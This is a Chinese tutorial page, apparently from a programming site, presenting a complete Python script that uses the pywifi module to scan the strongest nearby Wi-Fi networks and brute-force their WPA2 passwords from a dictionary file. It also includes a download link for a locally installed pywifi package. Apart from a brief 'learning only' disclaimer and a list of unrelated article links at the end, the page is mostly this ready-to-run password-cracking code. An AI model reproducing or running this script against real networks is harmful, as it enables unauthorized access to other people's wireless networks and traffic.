Python利用字典破解WIFI密碼的方法
最近看到網(wǎng)上的一些作品,然后進(jìn)行一些完善。只是用于學(xué)習(xí),不要去干壞事哦。程序來(lái)源于網(wǎng),我只是做了一些優(yōu)化。當(dāng)然這種方法破解還是有點(diǎn)慢哦。我用的python 3.6.5
既然要破解wifi,那么連接wifi的模塊首先要有的,我們要導(dǎo)入pywifi模塊。
有些同學(xué)可能沒有這個(gè),如果直接通過(guò)pip安裝的話,可能不能用,聽說(shuō)這個(gè)wifi模塊被停用了,所以大家如果通過(guò)pip安裝的不行,那么就下載我提供的。
鏈接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安裝方法:
1)下載解壓好以后,我們用cmd命令行,進(jìn)入到你的文件目錄
2)使用命令pip install . 注意了(install后面有個(gè)點(diǎn))
3)然后就會(huì)安裝了,等一會(huì)就可以了。
程序先查找附近的WIFI,然后按信號(hào)強(qiáng)度進(jìn)行排序,然后只取前wificount=5個(gè)信號(hào)好的。
import pywifi
from pywifi import const #引用一些定義
import time
namelist = []
ssidlist = []
result = [] #存放查詢到的WIFI,密碼
wificount=5 #查詢附近信號(hào)最強(qiáng)的5個(gè)WIFI,最多5個(gè)
def getwifi():
wifi=pywifi.PyWiFi()#抓取網(wǎng)卡接口
ifaces=wifi.interfaces()[0]#獲取網(wǎng)卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
list = []
for data in bessis:
if(data.ssid not in namelist): #去掉重復(fù)的WIFI名稱
namelist.append(data.ssid)
list.append((data.ssid, data.signal))
sorted(list, key=lambda st: st[1], reverse=True)
time.sleep(1)
n=0
if len(list) is not 0:
for item in list:
if(item[0] not in ssidlist):
n=n+1
if n<=wificount:
ssidlist.append(item[0])
print(ssidlist)
def testwifi(ssidname,password):
wifi=pywifi.PyWiFi()#抓取網(wǎng)卡接口
ifaces=wifi.interfaces()[0]#獲取網(wǎng)卡
ifaces.disconnect()#斷開無(wú)限網(wǎng)卡連接
profile=pywifi.Profile()#創(chuàng)建wifi連接文件
profile.ssid=ssidname#定義wifissid
profile.auth=const.AUTH_ALG_OPEN#網(wǎng)卡的開放
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher=const.CIPHER_TYPE_CCMP##加密單元
profile.key=password #wifi密碼
ifaces.remove_all_network_profiles()#刪除其他所有配置文件
tmp_profile=ifaces.add_network_profile(profile)#加載配置文件
ifaces.connect(tmp_profile)#連接wifi
time.sleep(5)#5秒內(nèi)能否連接上
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
#print("[-]WiFi connection failure!")
return False
#ifaces.disconnect()#斷開連接
#time.sleep(1)
return True
def main():
getwifi()
#ssidlist = ['Oun'] #如果知道WIFI直接寫就行了。
if(len(ssidlist) is not 0):
path=r"password.txt"
files=open(path,'r')
while True:
if(len(ssidlist) is 0):
break
try:
password =files.readline()
password=password.strip('\n')
if not password:
break
for item in result: #把已經(jīng)找到密碼的WIFI從查詢中刪除。
ssidlist.remove(item[0])
for ssidname in ssidlist:
if(testwifi(ssidname,password)==True):
result.append((ssidname,password)) #把找到的WIFI密碼保存起來(lái)
print('Succ','Current WifiName:',ssidname,'Current Password:',password)
else:
print('Fail','Current WifiName:',ssidname,'Current Password:',password)
except:
continue
files.close()
print("\n","WIFI結(jié)果列表:")
for item in result: #把已經(jīng)找到密碼的WIFI從查詢中刪除。
print("")
print("無(wú)線:",item[0])
print("密碼:",item[1])
else:
print("沒有找到WIFI信號(hào),請(qǐng)重試。")
if __name__ == '__main__':
main()
總結(jié)
以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,謝謝大家對(duì)腳本之家的支持。如果你想了解更多相關(guān)內(nèi)容請(qǐng)查看下面相關(guān)鏈接
相關(guān)文章
Python3 requests文件下載 期間顯示文件信息和下載進(jìn)度代碼實(shí)例
這篇文章主要介紹了Python3 requests文件下載 期間顯示文件信息和下載進(jìn)度代碼實(shí)例,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-08-08
Python輕量級(jí)定時(shí)任務(wù)調(diào)度APScheduler的使用
Apscheduler是一個(gè)基于Quartz的python定時(shí)任務(wù)框架,本文主要介紹了Python輕量級(jí)定時(shí)任務(wù)調(diào)度APScheduler的使用,具有一定的參考價(jià)值,感興趣的可以了解一下2024-02-02
Python實(shí)現(xiàn)將長(zhǎng)圖制作成一個(gè)視頻
這篇文章主要為大家詳細(xì)介紹了Python如何實(shí)現(xiàn)將一個(gè)長(zhǎng)圖制作成一個(gè)視頻,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下2023-05-05
Python用來(lái)做Web開發(fā)的優(yōu)勢(shì)有哪些
這篇文章主要介紹了Python用來(lái)做Web開發(fā)的優(yōu)勢(shì)有哪些,文中講解非常細(xì)致,幫助大家更好的理解和學(xué)習(xí)Python,感興趣的朋友可以了解下2020-08-08
Python通過(guò)matplotlib繪制動(dòng)畫簡(jiǎn)單實(shí)例
這篇文章主要介紹了Python通過(guò)matplotlib繪制動(dòng)畫簡(jiǎn)單實(shí)例,具有一定借鑒價(jià)值,需要的朋友可以參考下。2017-12-12
python實(shí)現(xiàn)字符串中字符分類及個(gè)數(shù)統(tǒng)計(jì)
這篇文章主要介紹了python實(shí)現(xiàn)字符串中字符分類及個(gè)數(shù)統(tǒng)計(jì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-09-09

